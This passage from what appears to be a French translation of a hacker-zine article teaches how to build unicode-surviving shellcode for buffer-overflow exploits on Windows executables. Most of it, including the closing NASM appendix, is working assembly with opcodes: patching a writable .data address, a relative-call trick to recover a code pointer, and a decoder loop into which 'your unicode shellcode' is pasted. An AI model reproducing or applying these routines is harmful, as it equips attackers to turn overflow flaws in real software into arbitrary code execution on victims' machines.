plus simple de faire cela est de prendre par exemple la section .data du PE
( Portable Excutable) de l'excutable cible. C'est en gnral une section
assez tendue avec les Flags: Read/Write/Data.  Ainsi ce n'est pas un
problme pour une sorte d'criture en dur d'une adresse dans cette zone.
Ainsi pour la premire tape nous insrons une adresse au beau milieux de
tout , cela importe peu o.  (N.B : si l'un de vos registres pointe sur
un adresse valide aprs l'overflow, vous n'avez pas  faire tout ceci bien
videmment) Nous supposons que l'adresse est 0x004F1200 par exemple: 

En utilisant ce que nous venons de voir, il est ais de mettre EAX  cette
adresse: 
________________________________________________________________ 
|B8004F00AA mov eax,0xAA004F00 ; EAX = 0xAA004F00 		| 
|50 push eax 							| 
|4C dec esp 							| 
|58 pop eax ; EAX = 0x004F00?? 					| 
|B000 mov al,0x0 ; EAX = 0x004F0000 				| 
|B9001200AA mov ecx,0xAA001200 					| 
|00EC add ah,ch 						| 
| ; finallement : EAX = 0x004F1200 				| 
|_______________________________________________________________| 


Ensuite nous allons patcher cette adresse mmoire accessible en criture
(devinez quoi) : 
________________________________________________________________ 
|pop eax 							| 
|push eax 							| 
|ret 								| 
|_______________________________________________________________| 

Code hexa du patch: [58 50 C3] 

Cela nous donnerait, aprs avoir appel cette adresse, un pointeur sur
notre code dans EAX. Cela serait la fin des problmes. Donc patchons ceci: 

Souvenez-vous que EAX contient l'adresse que nous patchons. Ce que nous
allons faire est de d'abord patcher avec 58 00 C3 00 ensuite dplacer EAX 1
octets avant, et mettre le dernier octet : 0x50 entre les deux autres.
(N.B: n'oubliez pas que les octets sont pushs dans l'ordre inverse dans la
pile) 

________________________________________________________________ 
|C7005800C300 mov dword [eax],0x00C30058 			| 
|40 inc eax 							| 
|C60050 mov byte [eax],0x50 					| 
|_______________________________________________________________| 

S'en est fini du patch. Maintenant nous devons appelons cette adresse. Je
sais que j'ai dis que nous ne pouvions pas faire de call sur n'importe
quoi, mais c'est un cas dsespr, donc nous utilisons un call relatif : 

________________________________________________________________ 
|E800??00!! call (here + 0x!!00??00) 				| 
| (**) 								| 
|_______________________________________________________________| 

Pour faire que cette mthode fonctionne, vous devez patcher la fin d'une
grande section mmoire contenant des octets nuls par exemple. Ensuite nous
pouvons appeler n'importe quelle adresse, cela se finira en excutant notre
code de 3 octets. 

Aprs ce call, EAX aura l'adresse de (**), nous sommes sauvs parce que
nous avons juste besoin d'ajouter  EAX une valeur que nous pouvons
calculer car c'est juste une diffrence entre deux offsets de notre code.
De ce fait nous pouvons utiliser la technique prcdente pour ajouter des
octets  EAX car nous voulons en ajouter moins de 0x100. Ainsi nous ne
pouvons pas faire de choses du genre {add eax,imm32}.Faisons quelque chose
d'autre: 

add dword [eax], byte 0x?? 

est la cl, car nous pouvons ajouter un octet  un dword, c'est parfait. 

EAX pointe sur (**), nous pouvons utiliser cette adresse mmoire pour fixer
une nouvelle valeur et la remettre dans EAX. Nous supposons que nous
voulons ajouter 0x00?? a EAX: 
(N.B : 0x?? ne peut pas tre plus grand que 0x80 car le: 
add dword [eax], byte 0x?? 
que nous utilisons est sign, ainsi si vous fixer une grande valeur, cela
va soustraire au lien d'additionner. (Ensuite ajouter un 0x100 et ajouter
des alignements a votre code mais cela ne se produira pas tant donn que
42*2 octets n'est pas assez grand je suppose) 
________________________________________________________________ 
|0400 ad al,0x0 ; le 0x04 sera cras				| 
|8900 mov [eax],eax 						| 
|8300?? add dword [eax],byte 0x?? 				| 
|8B00 mov eax,[eax] 						| 
|_______________________________________________________________| 

Tout est ok, nous pouvons pousser EAX  pointer exactement sur le premier
octet nul de notre code de boucle comme nous le souhaitons.  Nous avons
juste besoin de calculer 0x00?? (comptez juste le nombre d'octets incluant
des octets nuls entre le code de la boucle et le call et vous trouverez
0x5A) 



--[ 6 - Conclusion 

Finalement, nous pouvons raliser un unishellcode, qui ne sera pas altr
aprs une conversion en chane unicode.  J'attends d'autre ides ou
techniques pour raliser ceci, je suis sur qu'il y a une foule de choses
auxquelles je n'ai pas penss. 


Merci  : 
- Le compilateur NASM et le dsambleur (J'aime son style=) 
- Datarescue IDA 
- Numega SoftIce 
- Intel et ses processeurs 

Documentation : 
- http://www.intel.com pour la doc. assembleur Intel officielle 


Greetings : 
- rix, pour nous montrer de bien jolies choses dans ses articles 
- Tomripley, qui m'a toujours aid quand j'avais besoin de lui! 



--| 7 - Appendice : Le code 


A des fins de testes, je vous donne quelque lignes de code pour vous amuser
(syntaxe NASM).Ce n'est pas vraiment un exemple de code, mais j'ai
rassembl tous mes exemples de faon  ce que vous n'ayez pas  regarder
partout dans mon texte de messy pour trouver ce dont vous avez besoin... 

- main.asm ---------------------------------------------------------------- 
%include "\Nasm\include\language.inc" 

[global main] 

segment .code public use32 
..start: 

; ********************************************* 
; * En supposant que EAX pointe sur (*) (voir ci-dessous) * 
; ********************************************* 

; 
; fixer EBX  0x00000000 et ECX  0x00000500 
; 
push byte 00 ; 6A00 
push byte 00 ; 6A00 
pop ebx ; 5D 
add [ebp+0x0],al ; 004500 
pop ecx ; 59 
add [ebp+0x0],al ; 004500 
mov edx,0x41000500 ; BA00050041 
add ch,dh ; 00F5 


; 
; mettre en place le code de la boucle 
; 
add [ebp+0x0],al ; 004500 
mov byte [eax],0x8A ; C6008A 
add [ebp+0x0],al ; 004500 

inc eax ; 40 
add [ebp+0x0],al ; 004500 
inc eax ; 40 
add [ebp+0x0],al ; 004500 
mov byte [eax],0x58 ; C60058 
add [ebp+0x0],al ; 004500 

inc eax ; 40 
add [ebp+0x0],al ; 004500 
inc eax ; 40 
add [ebp+0x0],al ; 004500 
mov byte [eax],0x14 ; C60014 
add [ebp+0x0],al ; 004500 

inc eax ; 40 
add [ebp+0x0],al ; 004500 
inc eax ; 40 
add [ebp+0x0],al ; 004500 
mov byte [eax],0xE2 ; C600E2 
add [ebp+0x0],al ; 004500 
inc eax ; 40 
add [ebp+0x0],al ; 004500 

; 
; Code de la boucle 
; 

db 0x43 
db 0x00 ;0x8A (*) 
db 0x14 
db 0x00 ;0x58 
db 0x88 
db 0x00 ;0x14 
db 0x18 
db 0x00 ;0xE2 
db 0xF7 

; < Copiez votre shellcode 'unicode' ici > 

-EOF----------------------------------------------------------------------- 

Ensuite les 3 mthodes pour faire que EAX pointe sur le code choisi. 
(N.B : Le code 'principal' est long de 42*2 = 84 octets) 

- methode1.asm ------------------------------------------------------------ 
; ********************************************* 
; * Ajuste EAX (+ 0xXXYY octets) * 
; ********************************************* 

; N.B : 0xXX != 0x00 

add eax,0x0100XX00 ; 0500XX0001 
add [ebp+0x0],al ; 004500 
add eax,0xFF000100 ; 05000100FF 
add [ebp+0x0],al ; 004500 

; nous avons ajoutt 0x(XX+1)00  EAX 

; en utilisant : add al,0x0 en tant qu'instruction NOP : 
add al,0x0 ; 0400 
add al,0x0 ; 0400 
add al,0x0 ; 0400 
; [...] <-- (0x100 - 0xYY) /2 fois 
add al,0x0 ; 0400 
add al,0x0 ; 0400 
add al,0x0 ; 0400 

; (N.B) si 0xYY est ajout alors ajouter un : 
dec eax ; 48 
add [ebp+0x0],al ; 004500 
-EOF----------------------------------------------------------------------- 



- methode2.asm ------------------------------------------------------------ 
; ********************************************* 
; * Basiquement : POPset XCHG * 
; ********************************************* 

popad ; 61 
add [ebp+0x0],al ; 004500 
xchg eax, ? ; 1 octet non-nul (cherchez ce qu'il faut faire ici) 
add [ebp+0x0],al ; 004500 

; recommencer si ncessaire, ensuite utiliser la mthode 1 pour faire 
que tout marche 
-EOF----------------------------------------------------------------------- 



- methode3.asm ------------------------------------------------------------ 
; ********************************************* 
; * En utilisant un CALL * 
; ********************************************* 

; Obtenir l'adresse voulue 

mov eax,0xAA00??00 ; B800??00AA 
add [ebp+0x0],al ; 004500 
push eax ; 50 
add [ebp+0x0],al ; 004500 
dec esp ; 4C 
add [ebp+0x0],al ; 004500 
pop eax ; 58 
add [ebp+0x0],al ; 004500 
mov al,0x0 ; B000 
mov ecx,0xAA00!!00 ; B900!!00AA 
add ah,ch ; 00EC 
add [ebp+0x0],al ; 004500 

; EAX = 0x00??!!00 

; un patch horrible, je suis bien daccord 
mov dword [eax],0x00C30058 ; C7005800C300 
inc eax ; 40 
add [ebp+0x0],al ; 004500 
mov byte [eax],0x50 ; C60050 
add [ebp+0x0],al ; 004500 

;priez puis faites le call 

call 0x???????? ; E800!!00?? 

add [ebp+0x0],al ; 004500 

;ensuite ajouter 90d = 0x5A  EAX (pour atteindre (*), o se trouve le code de la boucle) 
; cas o 0xXX = 0x00 donc nous ne pouvons pas utiliser la mthode1 

add al,0x0 ; 0400 car nous patchons a l'adresse [eax] 

mov [eax],eax ; 8900 
add dword [eax],byte 0x5A ; 83005A 
add [ebp+0x0],al ; 004500 
mov eax,[eax] ; 8B00 

; EAX pointe sur le premier octet nul de notre code de boucle 


|=[ EOF ]=---------------------------------------------------------------=|
